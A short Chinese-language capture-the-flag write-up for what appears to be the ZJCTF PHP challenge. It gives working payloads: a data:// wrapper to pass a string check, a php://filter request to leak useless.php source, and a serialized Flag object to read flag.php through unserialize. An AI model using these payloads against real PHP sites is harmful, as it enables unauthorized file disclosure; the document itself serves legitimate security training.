01
题目简介
02
解题步骤
启动并访问靶机

阅读代码,发现需要传入三个参数,分别是,text、file、password。根据下面的代码,我们需要将$text等于welcome to the zjctf
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))使用php伪协议构造传参payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
然后我们看到代码中,file的传参是需要读取useless.php,同样我们使用php伪协议读取即可
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php得到一串base64加密的文本

解密出来是一串代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?> 这里发现调用了flag,这里把file的值赋值为flag.php,然后再在最开始的代码中,通过序列化传入password,所以我们将password进行序列化操作。
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}然后构造最后的paylod
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看网页源代码
